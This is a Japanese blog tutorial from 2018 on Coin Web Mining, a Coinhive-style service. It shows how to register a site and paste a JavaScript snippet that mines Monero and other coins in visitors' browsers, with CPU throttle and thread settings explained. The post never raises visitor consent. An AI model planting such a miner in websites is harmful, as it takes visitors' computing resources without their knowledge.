coinhiveに変わる仮想通貨マネタイズ方法coin web mining(コインウェブマイニング)とは?

仮想通貨を使った新しいマネタイズ方法としてcoinhiveが有名ですが、手数料は高いし、Moneroしか掘れないし、、、coinhiveに変わる新しいマイニングスクリプトのサービスを探している方も多いのではないでしょうか?

今回はcoinhiveに変わるマイニングサービスcoin web miningを紹介したいと思います。 https://coinwebmining.com/

Coin Web Mining

coin web miningは、javascriptのマイニングスクリプトを使用して、ブラウザ上で簡単に仮想通貨をマイニングできるサービスです。提供している機能はほとんどcoinhiveと同等です。

Why Coin Web Mining vs Coinhive as alternative?

  • Lower fees than Coinhive (will be announced later, currently while in BETA fee is 0%)

現在(2018/5/27)はBETA版で公開されていて、運営に支払うfeeは0%なので無料で使うことが出来ます。coinhiveはマイニングしたMoneroの30%が運営側に持っていかれるので、この差は結構大きいです。

掘れる通貨が多い

What coins you can mine?

We support mining coins based on CryptoNight and CryptoNightV7 (NEW!) algorithm.

Some of more know coins are:

  • Monero (XMR)
  • Electroneum (ETN)
  • Graft (GRFT)
  • IntenseCoin (ITNS)

Here you can check complete list of mineable coins. Our plan is to add support for more coins soon.

 

coin web miningでは

  • Monero (XMR)
  • Electroneum (ETN)
  • Graft (GRFT)
  • SumoCoin(SUMO)
  • DynastyCoin(DCY)
  • Dero(DERO)
  • ByteCoin(BCN)
  • IntenseCoin (ITNS)

の仮想通貨を掘ることが出来ます。

使い方

ログイン

まずは新規登録を済まして、ログイン画面から管理画面にログインします。

情報入力

続いて自分のサイト情報を登録する画面に向かいます。Sitenameに自分の運営するwebサイトの名前を入力し、Walletに掘りたい仮想通貨のアドレスを入力します。

その下の項目はマイニングプールを指定します。リストの中から任意のマイニングプールを選択できるようになっているので、選択するようにしてください。マイニングプールは通貨によって異なりますので、例えばelectroneumのマイニングをしたいのにMoneroのマイニングプールを選択した状態でいるとフォームを送信した際にエラーになります。

Passwordはデフォルトのxを入力し、Coinは掘りたい仮想通貨を選択します。

スクリプト作成

以上の設定を完了すると、MyAccountのSitename項目に先ほど登録した自分のサイト名が表示されていると思います。そこをクリックして、Credit hashes to your users and track statsという項目を見てください。

<script src="https://coinwebmining.com/cwm.js"></script> 
<script> 
var site_id = '';
var coin = 'monero'; 
var wallet = ''; 
var password = 'x'; 
var mining_pool = 'mine.xmrpool.net:3333'; 
var threads = -1; 
var throttle = 0.2; 
var debug = false; 
var userid = '{uniqueVisitorUsername}';
cwm_start(site_id, coin, wallet, password, mining_pool, threads, throttle, debug, userid);
</script>

このようなjavascriptコードが表示されると思います。(今はsite_idとwalletの変数を隠していますが、本来はここにデフォルトで自分のコードが表示されます。)

一応上から順番に見ていきます。

site_id

webサイトを識別するためのidを設定しています。

coin

実際にマイニングする仮想通貨の種類を設定しています。

wallet

マイニングした仮想通貨を送信するためにwalletのアドレスを設定しています。

password

先ほど入力したパスワードです。

mining_pool

マイニングを行うマイニングプールを設定しています。

threads

マイニングを行うスレッドの数を指定しています。デフォルトは-1ですが、これはユーザーのPCで使用可能なCPUコア数に限定されるという意味です。

throttle

マイニングを行う上でどの程度CPUを使用しないかを設定します。0を入力するとCPUを全部使ってフルスロットルのマイニングを行うことが出来ます。デフォルトでは0.2が入力されているので、CPUを80%使用してマイニングを行う設定だと言えます。

debug

js console上にリアルタイムでhashを表示するかどうかを設定しています。デフォルトではfalseですが、trueにするとjs console上で現在のマイニング状況がリアルタイムで確認できます。公式サイトでは確認のために一度使用したらfalseにしておくことが推奨されています。

userid

マイニングをしたユーザーを識別するためのidです。ここには任意の名前をつけることが出来ます。後ほど解説する現在の総hashを確認する方法で必要になります。

cwm_start

上記で設定した情報をもとに実際にマイニングを行うメゾットです。

スクリプト実行

以上の設定を行い、javascriptコードをウェブサイトに貼り付けてください。debugオプションをtrueにした場合は、js console上にマイニングの状況が表示されると思います。

hash確認

スクリプトの実行が確認できたら、先ほどのMyAccount画面からサイトネームの画面に戻って、Statisticsという項目を見てください。

var site_id = ''; 
var userid = '{uniqueVisitorUsername}'; 
cwm_user_stats(site_id, userid, function(hashes){ console.log(hashes); // this is where you get the total number of accepted hashes for a user name });

このスクリプトに先ほどの変数を入力し、任意のhtmlファイルのscriptタグ上に貼り付けてブラウザのjs console上から確認すると、今までのhashの合計値が表示されます。ただここに反映されるまでには多少の時間がかかるみたいなので、ある程度時間がたたないと0が表示されます。すぐに表示されないからといっても何かバグがあるわけではないと思います。(私は数時間経過して確認して見たら反映されていました。)

cwm_user_statsの問題点

2018/5/27日現在、このメゾットによって確認できるのは、crypto night v7を採用している仮想通貨だけであるということがわかりました。よってelectroneumはcwm_user_statsで確認することができませんでした。(Moneroなら大丈夫です)

まとめ

coin hiveに変わるマイニングスクリプトcoin web miningの基本的な使い方はいかがだったでしょうか?まだ始まったばかりのサービスですので、coinhiveの代替サービスになるかどうか今後に期待です。